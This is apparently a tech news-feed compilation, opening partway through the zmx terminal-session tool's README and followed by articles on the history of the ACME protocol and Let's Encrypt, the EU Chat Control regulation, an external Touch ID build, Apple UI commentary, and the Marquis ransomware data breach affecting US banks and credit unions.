    zmx attach build make -j8   # run a build, reattach to check progress
    zmx attach mux dvtm         # run a multiplexer inside zmx

    shell prompt

    When you attach to a zmx session, we don't provide any indication that you are inside zmx . We do provide an environment variable ZMX_SESSION which contains the session name.

    We recommend checking for that env var inside your prompt and displaying some indication there.

    fish

    functions -c fish_prompt _original_fish_prompt 2>/dev/null
    
    function fish_prompt --description 'Write out the prompt'
      if set -q ZMX_SESSION
        echo -n "[$ZMX_SESSION] "
      end
      _original_fish_prompt
    end

    bash

    todo.

    zsh

    todo.

    philosophy

    The entire argument for zmx instead of something like tmux that has windows, panes, splits, etc. is that job should be handled by your os window manager. By using something like tmux you now have redundent functionality in your dev stack: a window manager for your os and a window manager for your terminal. Further, in order to use modern terminal features, your terminal emulator and tmux need to have support for them. This holds back the terminal enthusiast community and feature development.

    Instead, this tool specifically focuses on session persistence and defers window management to your os wm.

    ssh workflow

    Using zmx with ssh is a first-class citizen. Instead of ssh ing into your remote system with a single terminal and n tmux panes, you open n terminals and run ssh for all of them. This might sound tedious, but there are tools to make this a delightful workflow.

    First, create an ssh config entry for your remote dev server:

    Host = d.*
        HostName 192.168.1.xxx
    
        RemoteCommand zmx attach %k
        RequestTTY yes
        ControlPath ~/.ssh/cm-%r@%h:%p
        ControlMaster auto
        ControlPersist 10m

    Now you can spawn as many terminal sessions as you'd like:

    ssh d.term
    ssh d.irc
    ssh d.pico
    ssh d.dotfiles

    This will create or attach to each session and since we are using ControlMaster the same ssh connection is reused for every call to ssh for near-instant connection times.

    Now you can use the autossh tool to make your ssh connections auto-reconnect. For example, if you have a laptop and close/open your laptop lid it will automatically reconnect all your ssh connections:

    Or create an alias / abbr :

    abbr -a ash "autossh -M 0 -q"
    ash d.term
    ash d.irc
    ash d.pico
    ash d.dotifles

    Wow! Now you can setup all your os tiling windows how you like them for your project and have as many windows as you'd like, almost replicating exactly what tmux does but with native windows, tabs, splits, and scrollback! It also has the added benefit of supporting all the terminal features your emulator supports, no longer restricted by what tmux supports.

    socket file location

    Each session gets its own unix socket file. Right now, the default location is /tmp/zmx . At the moment this is not configurable.

    debugging

    We store global logs for cli commands in /tmp/zmx/logs/zmx.log . We store session-specific logs in /tmp/zmx/logs/{session_name}.log . These logs rotate to .old after 5MB. At the moment this is not configurable.

    a note on configuration

    At this point, nothing is configurable. We are evaluating what should be configurable and what should not. Every configuration option is a burden for us maintainers. For example, being able to change the default detach shortcut is difficult in a terminal environment.

    a smol contract

    • Write programs that solve a well defined problem.
    • Write programs that behave the way most users expect them to behave.
    • Write programs that a single person can maintain.
    • Write programs that compose with other smol tools.
    • Write programs that can be finished.

    todo

    • bug : unix socket files not always getting removed properly
    • bug : remove log files when closing session
    • bug : send resize event when a client first sends stdin
    • feat : binary distribution (e.g. aur , ppa , apk , brew )

    impl

    • The daemon and client processes communicate via a unix socket
    • Both daemon and client loops leverage poll()
    • Each session creates its own unix socket file /tmp/zmx/*
    • We restore terminal state and output using libghostty-vt

    libghostty-vt

    We use libghostty-vt to restore the previous state of the terminal when a client re-attaches to a session.

    How it works:

    • user creates session zmx attach term
    • user interacts with terminal stdin
    • stdin gets sent to pty via daemon
    • daemon sends pty output to client and ghostty-vt
    • ghostty-vt holds terminal state and scrollback
    • user disconnects
    • user re-attaches to session
    • ghostty-vt sends terminal snapshot to client stdout

    In this way, ghostty-vt doesn't sit in the middle of an active terminal session, it simply receives all the same data the client receives so it can re-hydrate clients that connect to the session. This enables users to pick up where they left off as if they didn't disconnect from the terminal session at all. It also has the added benefit of being very fast, the only thing sitting in-between you and your PTY is a unix socket.

    prior art

    Below is a list of projects that inspired me to build this project.

    shpool

    You can find the source code at this repo: https://github.com/shell-pool/shpool

    shpool is a service that enables session persistence by allowing the creation of named shell sessions owned by shpool so that the session is not lost if the connection drops.

    shpool can be thought of as a lighter weight alternative to tmux or GNU screen. While tmux and screen take over the whole terminal and provide window splitting and tiling features, shpool only provides persistent sessions.

    The biggest advantage of this approach is that shpool does not break native scrollback or copy-paste.

    abduco

    You can find the source code at this repo: https://github.com/martanne/abduco

    abduco provides session management i.e. it allows programs to be run independently from its controlling terminal. That is programs can be detached - run in the background - and then later reattached. Together with dvtm it provides a simpler and cleaner alternative to tmux or screen.

    Acme, a brief history of one of the protocols which has changed the Internet

    Hacker News
    blog.brocas.org
    2025-12-03 23:28:34
    Comments...
    Original Article

    Preamble

    I would like to share with you this article I wrote about the ACME protocol, which I “fell in love with” about ten years ago. It is for me a way to give back to this fantastic Free Software and Open Protocols developers community.

    This article is about the roots, the conception, the standardization, the relation with its ecosystem and the evolution challenges faced by the ACME protocol.

    To write this article, I had the privilege of interviewing several people who have been involved in the creation and the evolution of ACME: Aaron Gable , Sarah Gran , Jacob Hoffman-Andrews and J.C. Jones (more below).

    Thank you so much to all of you for your time and support! 💚

    Internet and Network Protocols

    Open and Standardized Protocols at the Heart of the Internet’s Success

    During the 1990s, computing underwent a true revolution driven by the rise and global spread of the Internet. The Internet fulfilled the promise embodied in Sun Microsystems’ slogan “The Network is the Computer” .

    By interconnecting individual computers, the Internet enabled its users to communicate without limits and without worrying about borders.

    This unrestricted interconnection emerged at a pivotal moment in modern history: the opposition between the West and the Eastern Bloc led by the USSR had—albeit temporarily, as we now know—faded away, China was becoming the world’s factory, and the movement and collaboration between people were much freer and open than ever.

    The Internet supported a kind of utopia of instant communication and sharing, previously unknown. This utopia was made possible by a set of open and standardized protocols. This was the key to enabling all kinds of different systems to cooperate and communicate seamlessly.

    There were, of course, isolationist or monopolistic temptations from certain manufacturers or software editors. But open and standardized protocols ultimately prevailed, enabling unprecedented expansion. Built on top of IP, TCP, UDP, and DNS, among others, the HTTP and HTML duo would propel the Web as the Internet’s preferred communication platform for the next 30 years.

    Limited Use of Encryption

    The success of this communication utopia was achieved without much concern for ensuring authentication, integrity, and confidentiality of exchanges.

    In 2015, only ~40% of websites used encryption. The consequences of this negligence in addressing security risks were confirmed by Edward Snowden’s revelations in 2013: our data was exposed to anyone who wanted and could intercept and collect it.

    Let’s Encrypt is coming

    When asked about the main obstacles to the widespread adoption of encryption, J.C. Jones , one of the architects of Let’s Encrypt and now one of its site reliability engineers after leading Firefox’s cryptographic team, responds:

    “More and more information was flowing across the Web, and most data being transferred did not have integrity or confidential protections from TLS. The biggest stumbling block to using TLS everywhere was obtaining and managing server-side certificates, and so: Let’s Encrypt” – J.C. Jones

    Obtaining a certificate was the main obstacle, and this was the priority to address.

    This view was shared by a group of partners who, starting in 2013, pooled resources to establish Let’s Encrypt, an automated and free certificate authority. Sarah Gran , VP of Advancement at Let’s Encrypt, shares:

    “Early collaborators included people from Mozilla, Electronic Frontier Foundation, Akamai, Cisco, and the University of Michigan” – Sarah Gran

    And that’s how Let’s Encrypt was born.

    In the Web ecosystem, certificate authorities are organizations from which you can obtain a certificate for a domain after proving you control it.

    And so, Let’s Encrypt is since 2015 a certificate authority that delivers for free (as in free beer) TLS Server certificates.

    On the legal/administrative side, Let’s Encrypt certificate authority operates for the public’s benefit and is a service provided by the Internet Security Research Group (ISRG), a California public benefit corporation.

    Regarding Let’s Encrypt results ten years after its birth, they are really impressive (over 700M active certificates, over 60% of all the public TLS server certificates) and as Sarah Gran points out, so is the global HTTPS usage:

    “When we started issuance, only about 39% of website visits were HTTPS. Today, it’s nearly 95% in the United States, and over 83% globally. We still have work to do, but we are proud of the progress we’ve made over the last ten years” – Sarah Gran

    Let’s Encrypt delivers certificates in a automated manner using the ACME protocol which implies no manual action from the site owner nor the certificate authority. So, let’s speak now a little about the automation aspect!

    Automation: The Core of the Operation

    From the mid-2020s perspective, the automation at the heart of Let’s Encrypt might seem obvious, but in the first half of the 2010s, it was far from the norm. The ecosystem of public certificate authorities issuing server certificates was no exception.

    At first glance, automation appears to be there to help website managers reliably deploy the TLS protocol on their sites, but it was first and foremost an absolute prerequisite for the very viability of the Let’s Encrypt project.

    As Aaron Gable , tech lead of Boulder—the software at the core of Let’s Encrypt—, confirms:

    “Automation was always going to be critical to Let’s Encrypt’s success. From the very beginning, we knew that there was no way we could scale manual validation on a non-profit’s budget” – Aaron Gable

    Indeed, it is worth noting that Let’s Encrypt has operated on an Internet scale from the start with a small team of about fifteen engineers, or even fewer at launch. For this team, automation was the only viable way to fulfill the immense mission they had set for themselves.

    ACME

    The Open and automated Protocol That Powers Let’s Encrypt

    When we talk about automation in relation to Let’s Encrypt, we are talking about ACME (Automated Certificate Management Environment).

    This protocol allows client software to prove to an ACME-compatible certificate authority that it controls the domain for which it is requesting a certificate.

    Sarah Gran clarifies an important point:

    “An important aspect of how Let’s Encrypt works is that we verify control over a domain, not ownership” – Sarah Gran

    Control vs. ownership of a domain—a nuance everyone should keep in mind.

    This proof of control involves the client responding to a challenge issued by the ACME-compatible certificate authority. The challenge can be an HTTP, DNS, or TLS challenge, depending on the client’s choice and certificate authority support. Completing the challenge requires the ACME client to place a value provided by the ACME server—in a standardized HTTP path, a DNS zone, or a TLS response, respectively. All of these operations involve cryptography, of course.

    The key point with ACME is that this entire dialogue between the client and the ACME server is executed without any human intervention, enabling the automatic issuance of certificates. Their deployment and integration into the web service can also generally be automated using scripts triggered after issuance.

    On the Let’s Encrypt website, you can discover more information about how ACME works and get more detailled information about it.

    Birth of ACME

    One might wonder whether ACME was part of Let’s Encrypt’s design from the beginning.

    J.C. Jones confirms:

    “By late 2014, the idea of an HTTP REST API with “/challenge” and “/certificate” existed, but we hadn’t defined much beyond that. We had a series of in-person meetings, in the Mozilla San Francisco office on Embarcadero and the EFF office in the Tenderloin through the spring of 2015 where we worked out the details” – J.C. Jones

    ACME was indeed at the core of Let’s Encrypt from the start and underwent a refinement process to cover all use cases as thoroughly as possible.

    To learn more about the roots of ACME and Let’s Encrypt, there is a very informative document to read: the Let’s Encrypt paper for ACM CCS 2019 in London. It mentions the previous work of two teams:

    “A group led by Alex Halderman at the University of Michigan and Peter Eckersley at EFF was developing a protocol for automatically issuing and renewing certificates. Simultaneously, a team at Mozilla led by Josh Aas and Eric Rescorla was working on creating a free and automated certificate authority” .

    When these two teams discovered each other’s work, they joined forces. ACME and its implementation in Let’s Encrypt were the result of this joint effort supported by the initial partners mentioned above.

    Securing the Web or the Internet?

    Speaking of use cases, one might wonder whether the Web was Let’s Encrypt’s primary target, or if securing the Internet with its multiple protocols was also part of the objectives.

    Sarah Gran provides an unambiguous first-level answer:

    “From Day One, we have sought to get the web to 100% encryption” – Sarah Gran

    But when asked about the various types of challenges in the protocol, J.C. Jones offers a nuance:

    “DNS, TLS-SNI, and HTTP were all in planning in spring 2015, but many of us were less confident in the procedure around the DNS validation. Which is ironic, as it turned out TLS-SNI had a vulnerability so we had to stop using it and our DNS validation was ultimately fine. In general, the collection of us were simply respectful of the great complexity within the DNS” – J.C. Jones

    This is a perspective not often publicly expressed by engineers primarily from the Web: their lack of confidence in implementing a DNS challenge stemmed from their humility regarding the complexity of the DNS ecosystem and the level of expertise required to master it.

    The challenge was ultimately met, and this DNS challenge—though not its primary purpose—enabled multiple protocols outside HTTP like SMTP to be secured by ACME.

    Standardization and Open Source

    Developed in the Open

    ACME was documented openly from the start, and Certbot , the first open-source ACME client co-developed with the EFF, served as the client side reference implementation.

    Similarly, a standardization process through the IETF resulted in RFC 8555 in March, 2019.

    One of the consequences developing an open and standardized protocol was the creation of a multitude of ACME clients covering a very wide range of use cases .

    J.C. Jones confirms that this was the goal:

    “This is what we foresaw, or at least hoped for. The initial client development often had conversations like, ‘oh, if someone wants that, then they’ll write their own client.’ It was a key part of why the REST API needed to be an IETF standard, and was part of the argument at the IETF BoF that resulted in the formation of the ACME Working Group in Q3 2015” – J.C. Jones

    Let’s Encrypt has also always provided constant support to developers by responding in its forum or on its GitHub issue tracker, and all this work has truly paid off. An interesting post has been recently written about support on the Let’s Encrypt blog.

    Standardization for what benefits?

    The other question that can be asked is whether or not the standardization process within the IETF has led to an improvement in the ACME protocol thanks to the cooperation that guides this process.

    Jacob Hoffman-Andrews , one of the RFC 8555 authors working for EFF & Let’s Encrypt, confirms an initial benefit that the ACME protocol has been able to derive from its standardization process:

    “One of the big changes was from a validation-first flow to a certificate-request-first flow. In other words, earlier drafts had subscribers requesting validation for domain names and then requesting a certificate once those validations were successful. The final RFC has subscribers request a certificate, and then the CA tells the subscriber what validations are needed. This change originated from within the IETF discussion process, and was intended to make handling of wildcard certificates more natural.” – Jacob Hoffman-Andrews

    Aside this first design improvement, Jacob details a second major improvement of the security of the protocol, improvement that also landed during the IETF standardization process:

    “Another big change, also originated from within the IETF, was to make all requests authenticated, including GET requests. Since ACME is authenticated with signed POSTs, this necessitated the POST-as-GET concept that’s in ACME today” – Jacob Hoffman-Andrews

    We can see there how IETF iterations can challenge the security of a protocol and leads its development to innovative solutions to tackle the challenges it faces!

    Last, Jacob adds another information that illustrates the benefits of developing a protocol into the open: it allows the community to evaluate (and sometimes, fix) its security level due to the availability of all materials and often, of the reference implementation:

    “Another very important evolution was the deprecation of the tls-sni-01 challenge method. This was found to be flawed by Frans Rosen, a security researcher. It was replaced with TLS-ALPN-01, developed at IETF with significant input from Google” – Jacob Hoffman-Andrews

    Let’s Encrypt, ACME, and the Public Certificate Authorities Ecosystem

    In 2015, the arrival of Let’s Encrypt in the public certificate authorities ecosystem raised a number of questions.

    What level of cooperation or hostility? What impact on the viability of existing certificate authorities?

    Here again, the fact that Let’s Encrypt was based on an open protocol, immediately subject to an IETF standardization initiative, enabled collaboration and adoption by the most innovative certificate authorities.

    I spoke about the External Account Binding (EAB) option of the protocol with J.C. Jones. EAB is a way for an ACME client to authenticate to an ACME server using an identifier and a key value which are verifiable by the server in a repository it maintains. With EAB, an ACME server can filter who can uses its service which is useful for commercial certificate authorities for example; it is an alternative model to Let’s Encrypt one where anybody can ask for a certificate.

    Using the example of EAB, J.C. Jones confirms the collaboration with certificate authorities that happens during the IETF standardization process:

    “EAB was an early addition at the IETF ACME Working Group. Many in the room were worried that without a means to bind to a payment method, ACME would not get adoption. In fact, some of the counterarguments to forming ACME were blunted by EAB, as such a mechanism wasn’t in the theoretically-competing, already-existent standard: SCEP. SCEP, it was argued, already handled ‘free’ certificate issuance, for private certificate authorities. Anything else needed a feasible path for usage payment.” – J.C. Jones

    Beyond billing, the addition of EAB enabled also some commercial certificate authorities to integrate their existing domain control validation systems with ACME, allowing some of them to skip the challenge step of the ACME protocol.

    The IETF standardization process, based on an open process, created the necessary discussion space for cooperation among entities that did not necessarily share the same objectives.

    The result, ten years after the introduction of ACME and the completion of its standardization process in 2019, is that ACME has become the primary means by which all public certificate authorities—both free and commercial—rely on for their transition to an automated future of issuing short-lived certificates.

    Effectively, until early this year, the maximum lifespan of a public TLS server certificate was set to 398 days by the CA/B Forum, the organization that set the rules for public certificate authorities. With the vote of the ballot SC081 at the CA/B Forum in April 2025, it has been decided that the certificate lifespan will decrease gradually starting March 2026 to reach 47 days in March 2029. The automation provided by ACME seems to be one of the main identified levers to help organizations to adapt to this drastic reduction in the lifespan of public TLS server certificates.

    Created at Let’s Encrypt, adopted everywhere

    It is important to note that although ACME was developed by the team managing Let’s Encrypt, this protocol is now one of the main protocols for automated certificate acquisition adopted by all public certificate authorities.

    And outside the public certificate authorities ecosystem, I think it’s fair to say that this protocol is also becoming increasingly popular with technical architects in companies with private certificate authorities.

    This has been the case in my company for several years now, where we have deployed an ACME endpoint in front of our internal certificate authority. Among the benefits we have seen, we have been able to rely on the vast ACME clients ecosystem in order to provide an ACME client to each OS or middleware that powers our infrastructure. We can see there how certificate obtention agility powered by ACME helps organizations in their journey to global IT agility.

    Innovation and the adoption challenge

    The ARI episode

    We may fear that the development of a protocol supported primarily by a team as small as Let’s Encrypt’s will be fairly limited in terms of evolution and innovation.

    But the history of ACME shows that its evolution continues after its initial standardization.

    In 2025, we saw with the ARI (ACME Renewal Information – RFC 9773 ) extension that the ACME protocol continues to evolve. ARI is a way for a certificate authority to suggest a renewal period to its clients, often earlier than they would have determined themselves. This use case is particularly relevant when the certificate authority needs to mass-revoke certificates that, for example, did not comply with the rules the certificate authority must follow when issuing certificates.

    More specifically, J.C. Jones and Aaron Gable point two incidents that had to be handled by the Let’s Encrypt team and that were the start for the ARI initiative:

    “Explicitly, as remediation of https://bugzilla.mozilla.org/show_bug.cgi?id=1619179 and https://bugzilla.mozilla.org/show_bug.cgi?id=1715672 " J.C. Jones and Aaron Gabble

    Support to encourage adoption

    Aaron Gable leads the effort of designing and implementing ARI. But even if a new extension to the protocol has been produced, it can only reach its potential users after ACME clients have implemented it into their code base. As previously said, the team and some community members invest a lot on providing support to the community. In the case of ARI, this support is oriented to the ACME clients developers in order to make these clients ARI aware.

    Providing an efficient support and effective resources to the client side ACME actors is a huge part of the challenge in order to keep ACME ecosystem healthy and agile.

    As illustrates by Sarah Gran, another way to give momentum to a new feature is to lift certain restrictions on access to the certificate authority:

    In order to encourage ARI adoption, we’ve configured Let’s Encrypt to allow subscribers who renew via ARI to bypass our rate limits.” – Sarah Gran

    Client Side Update Challenge

    But despite a good support work and incentive measures, Aaron Gable confirms ARI adoption is just at its start:

    “There is still much progress to be made. Part of the appeal of the Automated Certificate Management Environment is that many users can set-and-forget their client and configuration. This means that most clients never receive software updates, and even client projects that have implemented ARI in their latest version still have massive install bases that aren’t running that version. We’ve worked closely with many clients developers to implement ARI, and contributed implementations ourselves in several cases, but for widespread adoption the whole ecosystem will need to slowly turn over” – Aaron Gable

    This situation is really shared with a lot of client side softwares that “just work”(c) and it raises some concerns about how to make an ecosystem keeping track with innovation on its client side.

    This challenge arises not only in terms of updating the client, but also in terms of updating the configuration. Many ACME clients rely on cron tasks. To have an efficient ARI setup, your task has to run ideally on a daily basis be able to ask the certification authority every day whether the certificate needs to be reissued. This is not the classic cron task setup. So, users have to modify this cron task frequency to reach the ARI goal of certificate reissuance led by certificate authority. Client side ACME setup evolution is a really challenging task.

    Evolution on server side ACME implementation

    CA/B Forum has recently asked public certificate authorities to adopt Multi-Perspective Issuance Corroboration (MPIC) to guard against BGP attacks. We have asked Aaron Gable about the impacts that kind of measure have had on ACME server side implementation in the Let’s Encrypt infrastructure:

    “We’ve had to make few if any changes to our infrastructure to accommodate recent requirements changes such as MPIC and DNSSEC validation. We innovated MPIC (then called Remote Validation) along with a research team at Princeton, and implemented it in 2020. Our experience already running such a service helped inform the requirements as they were incorporated by the CA/B Forum.” – Aaron Gable

    The lesson learnt here is that being at the edge of the innovation let you shape part of the future of your ecosystem and significantly lower the impact on your infrastructure of many regulatory measures that come into effect over time.

    Future

    It is really encouraging to see a lot of innovation in the ACME ecosystem.

    So what evolutions can we expect to see in the future?

    We have asked the question to Aaron Gable who gave us two upcoming developments:

    • “We’re currently working on standardizing profile selection for ACME , and our deployment of the early draft of this standard has already brought some much-needed flexibility to the WebPKI, enabling us to make changes to our certificate contents with minimal disruption.”
    • “I’m also excited about a potential future change which would introduce a ‘pubkey’ identifier type , along with a set of challenges that allow the client to demonstrate control over the corresponding keypair. This would fix the gap today that presenting a CSR does not actually prove possession of the key in that CSR.” – Araron Gable

    Fastly has also recently contributed to ACME in order to improve the dns-01 challenge in a multi-cloud and multi-PKI environment. An IETF draft describing this dns-account-01 challenge is online. This is further proof that the public TLS ecosystem has truly embraced the ACME protocol as its primary automation tool.

    Another recent development based on ACME has also shed new light on the potential of this protocol: since 2022, a draft is under progress at the IETF in order to write an ACME extension. The goal of this extension is to use ACME to obtain a certificate for a device in order to prove its identity. The challenge is based on device attestation and what’s new in this case is the arrival of a third party, the attestation server.

    What is remarkable here is that we are no longer dealing with ACME’s initial use case, namely obtaining TLS server certificates: we can see in this IETF draft the potential of ACME as a challenge-based framework to obtain certificate in very different contexts.

    Indeed, we can venture to say that ACME’s future looks bright 😊

    Conclusion

    It is heartening to see that, 30 years after the widespread adoption of the Internet, open and standardized protocols continue to revolutionize its use.

    ACME and its Let’s Encrypt implementation at scale have enabled the widespread adoption of HTTPS, thereby raising the level of security for billions of Internet users and also of private networks.

    Having been able to do it inside a non profit organization, providing the Internet with an open and standardized protocol is a great success for all people believing in FreeSoftware and an Open Internet.

    As a community, I really think we can thank these organizations, teams, and engineers who continue to uphold the promise of efficiency and Freedom brought about by cooperation around open protocols. They inspire new generations (and older ones I guess 😉) demonstrating big things can still be achevied today in the open for the common good at the Internet scale!

    I would like to extend a special thank you to the members of the Let’s Encrypt team, J.C. Jones , Aaron Gable , Sarah Gran and Jacob Hoffman-Andrews , for the time and effort they dedicated to answering my questions. Without them, this article would not have been possible.

    A big shout out also to Eric Leblond and Philippe Teuwen who carefully proofread some early drafts of the article and Philippe Bonnef and Thibault Meunier for proofreading some of the last drafts. They all gave me so valuable and insightful advices 🙏

    After Years of Controversy, the EU’s Chat Control Nears Its Final Hurdle: What to Know

    Electronic Frontier Foundation
    www.eff.org
    2025-12-03 23:19:03
    After a years-long battle, the European Commission’s “Chat Control” plan, which would mandate mass scanning and other encryption-breaking measures, at last codifies agreement on a position within the Council of the EU, representing EU States. The good news is that the most controversial part, the fo...
    Original Article

    After a years-long battle , the European Commission’s “Chat Control” plan, which would mandate mass scanning and other encryption-breaking measures, at last codifies agreement on a position within the Council of the EU, representing EU States. The good news is that the most controversial part, the forced requirement to scan encrypted messages, is out. The bad news is there’s more to it than that.

    Chat Control has gone through several iterations since it was first introduced, with the EU Parliament backing a position that protects fundamental rights, while the Council of the EU spent many months pursuing an intrusive law-enforcement-focused approach. Many proposals earlier this year required the scanning and detection of illicit content on all services, including private messaging apps such as WhatsApp and Signal. This requirement would fundamentally break end-to-end encryption .

    Thanks to the tireless efforts of digital rights groups, including European Digital Rights (EDRi), we won a significant improvement : the Council agreed on its position , which removed the requirement that forces providers to scan messages on their services. It also comes with strong language to protect encryption, which is good news for users.

    But here comes the rub: first, the Council’s position allows for “voluntary” detection, where tech platforms can scan personal messages that aren’t end-to-end encrypted. Unlike in the U.S., where there is no comprehensive federal privacy law, voluntary scanning is not technically legal in the EU, though it’s been possible through a derogation set to expire in 2026. It is unclear how this will play out over time, though we are concerned that this approach to voluntary scanning will lead to private mass-scanning of non-encrypted services and might limit the sorts of secure communication and storage services big providers offer. With limited transparency and oversight, it will be difficult to know how services approach this sort of detection.

    With mandatory detection orders being off the table, the Council has embraced another worrying system to protect children online: risk mitigation . Providers will have to take all reasonable mitigation measures” to reduce risks on their services. This includes age verification and age assessment measures . We have written about the perils of age verification schemes and recent developments in the EU , where regulators are increasingly focusing on AV to reduce online harms.

    If secure messaging platforms like Signal or WhatsApp are required to implement age verification methods, it would fundamentally reshape what it means to use these services privately. Encrypted communication tools should be available to everyone, everywhere, of all ages, freely and without the requirement to prove their identity. As age verification has started to creep in as a mandatory risk mitigation measure under the EU’s Digital Services Act in certain situations, it could become a de facto requirement under the Chat Control proposal if the wording is left broad enough for regulators to treat it as a baseline.

    Likewise, the Council’s position lists “voluntary activities” as a potential risk mitigation measure. Pull the thread on this and you’re left with a contradictory stance, because an activity is no longer voluntary if it forms part of a formal risk management obligation. While courts might interpret its mention in a risk assessment as an optional measure available to providers that do not use encrypted communication channels, this reading is far from certain, and the current language will, at a minimum, nudge non-encrypted services to perform voluntary scanning if they don’t want to invest in alternative risk mitigation options. It’s largely up to the provider to choose how to mitigate risks, but it’s up to enforcers to decide what is effective. Again, we're concerned about how this will play out in practice.

    For the same reason, clear and unambiguous language is needed to prevent authorities from taking a hostile view of what is meant by “allowing encryption” if that means then expecting service providers to implement client-side scanning. We welcome the clear assurance in the text that encryption cannot be weakened or bypassed, including through any requirement to grant access to protected data, but even greater clarity would come from an explicit statement that client-side scanning cannot coexist with encryption.

    As we approach the final “trilogue” negotiations of this regulation, we urge EU lawmakers to work on a final text that fully protects users’ right to private communication and avoids intrusive age-verification mandates and risk benchmark systems that lead to surveillance in practice.

    Why doesn't Apple make a standalone Touch ID?

    Hacker News
    www.jeffgeerling.com
    2025-12-03 22:55:19
    Comments...
    Original Article

    I finally upgraded to a mechanical keyboard. But because Apple's so protective of their Touch ID hardware, there aren't any mechanical keyboards with that feature built in.

    Apple Touch ID - external 3D printed sensor

    But there is a way to hack it. It's incredibly wasteful, and takes a bit more patience than I think most people have, but you basically take an Apple Magic Keyboard with Touch ID, rip out the Touch ID, and install it in a 3D printed box, along with the keyboard's logic board.

    I'm far from the first person to do this—the first time I saw it done was this Snazzy Labs video . But I thought I'd share my own experience.

    If you don't know what Touch ID is, it's basically Apple's version of a fingerprint sensor. But it's integrated really well into macOS, for login, unlocking password managers, and Apple Pay.

    Video

    I published a video covering the full process on my 2nd channel, Level 2 Jeff:

    Teardown

    Tearing apart the Magic Keyboard is much more daunting than it should be. Apple puts layers and layers of adhesives, from the back cover (which needs to be heated up a bit before it will start coming apart—somewhat destructively), to the battery (good luck getting it out without bending it at all), and even the tiny flexible PCB ribbon cables—one of which I was almost certain I'd rip (thankfully it didn't rip).

    But Apple and repairability are not usually on good terms, so that's to be expected.

    If you want the full story, watch the video above. But following along with the guide on the Printables page for the 3D printed Touch ID sensor case I made , here are a few things I think I should highlight for anyone else attempting the procedure:

    Apple Magic Keyboard - back sticky adhesive residue open

    • Use some heat to get the back of the keyboard off. It's literally just tons of adhesive . Like... see the photo above. You could set the keyboard on a 3D printer heat bed, use a heat gun or iOpener , or do what I did and lean the keyboard against a space heater (just... don't melt it).
    • Use a tiny curved-tip tweezers made for electronics to do things like remove the little stickers holding connectors on the logic board, or to lift the flex PCB (very, very thin ribbon cables) off the adhesive holding it in place.
    • Use extreme care around the flat part of the flex PCB with little surface-mount circuits on it that goes from the logic board all the way over to the Touch ID button. It was stuck very firmly on my keyboard, and I was 50/50 whether it would rip or not as I pulled it off.
    • Make sure to follow the directions for printing the Touch ID backing plate especially—I had to re-print mine at 0.1mm layer height, as the default setting I was using at 0.12mm made it just too high, and trying to sand a tiny 3D printed part is no fun.

    Touch ID and logic board in 3D printed case

    The last part of the assembly in the 3D print was the most annoying, as you're putting M1.2-size nuts over M1.2-size screws, in a tight space. I could've used a couple more hands, but eventually I balanced the nut on the end of the screw, got my finger in position on top of it, then got the threads started with a screwdriver from below.

    Why doesn't Apple make this?

    Touch ID is a great feature that you grow to rely on over time. It feels like a bit of a let down if you decide to use a non-Apple keyboard, and you can't use Touch ID at all.

    So why doesn't Apple make a little Touch ID box ? They could charge $50 and I'd begrudgingly pay it. That way I (and at least hundreds if not thousands of other people) wouldn't have to sacrifice a $150 keyboard (and a few hours of time) to get one 'smart' key off it.

    Louie Mantia on The Talk Show in July, Talking About Alan Dye and Liquid Glass

    Daring Fireball
    daringfireball.net
    2025-12-03 22:30:35
    Back in July, I was lucky enough to have my friend Louie Mantia on The Talk Show to talk about Liquid Glass and (as I wrote in the show notes) “the worrisome state of Apple’s UI design overall”. This was probably my favorite episode of the show all year, and I think it holds up extremely well now th...
    Original Article

    The Talk Show

    ‘Michigan-Starred Fine Dining’, With Louie Mantia

    Special guest Louie Mantia joins the show to talk about Liquid Glass, the various OS 26 updates, and the worrisome state of Apple’s UI design overall. Also: sandwiches.

    Sponsored by:

    • Quip : A supercharged clipboard manager and text expander for Mac, iPhone, and iPad.
    • Notion : The best AI tool for work, with your notes, docs, and projects in one space.
    • Squarespace : Save 10% off your first purchase of a website or domain using code talkshow .

    Transcripts: Unofficial but surprisingly good .

    Links:

    This episode of The Talk Show was edited by Caleb Sexton.

    Alan.app

    Daring Fireball
    tyler.io
    2025-12-03 22:14:04
    Tyler Hall, just one week ago: Maybe it’s because my eyes are getting old or maybe it’s because the contrast between windows on macOS keeps getting worse. Either way, I built a tiny Mac app last night that draws a border around the active window. I named it “Alan”. In Alan’s preferences, you ca...
    Original Article

    Maybe it’s because my eyes are getting old or maybe it’s because the contrast between windows on macOS keeps getting worse. Either way, I built a tiny Mac app last night that draws a border around the active window. I named it “Alan”.

    In Alan’s preferences, you can choose a preferred border width and colors for both light and dark mode.

    That’s it. That’s the app.

    You can download a notarized copy of Alan here .

    Here’s a short demo video.

    If you want to hide Alan’s icon from the Dock, you can set a hidden preference by running this Terminal command. Then, relaunch the app.

    defaults write studio.retina.Alan hideDock -bool true

    Marquis data breach impacts over 74 US banks, credit unions

    Bleeping Computer
    www.bleepingcomputer.com
    2025-12-03 22:06:07
    Financial software provider Marquis Software Solutions is warning that it suffered a data breach that impacted dozens of banks and credit unions across the US. [...]...
    Original Article

    Marquis

    Financial software provider Marquis Software Solutions is warning that it suffered a data breach that impacted dozens of banks and credit unions across the US.

    Marquis Software Solutions provides data analytics, CRM tools, compliance reporting, and digital marketing services to over 700 banks, credit unions, and mortgage lenders.

    In data breach notifications filed with US Attorney General offices, Marquis says it suffered a ransomware attack on August 14, 2025, after its network was breached through its SonicWall firewall.

    This allowed the hackers to steal "certain files from its systems" during the attack.

    "The review determined that the files contained personal information received from certain business customers," reads a notification filed with Maine's AG office.

    "The personal information potentially involved for Maine residents includes names, addresses, phone numbers, Social Security numbers, Taxpayer Identification Numbers, financial account information without security or access codes, and dates of birth."

    Marquis is now filing notifications on behalf of its customers, in some cases breaking down the number of people impacted per bank in a state. These notifications state that similar data was exposed in the attack for customers in other U.S. states.

    According to notifications filed in Maine , Iowa , and Texas, over 400,000 customers have been impacted from the following 74 banks and credit unions.

    1st Northern California Credit Union Abbott Laboratories Employees Credit Union Advantage Federal Credit Union
    Agriculture Federal Credit Union Alltrust Credit Union BayFirst National Bank
    Bellwether Community Credit Union C&N Bank Cape Cod Five
    Capital City Bank Group Central Virginia Federal Credit Union Clark County Credit Union
    Community 1st Credit Union Community Bancshares of Mississippi, Inc. Cornerstone Community Financial Credit Union
    CPM Federal Credit Union CSE Federal Credit Union CU Hawaii Federal Credit Union
    d/b/a Community Bank Discovery Federal Credit Union Earthmover Credit Union
    Educators Credit Union Energy Capital Credit Union Fidelity Cooperative Bank
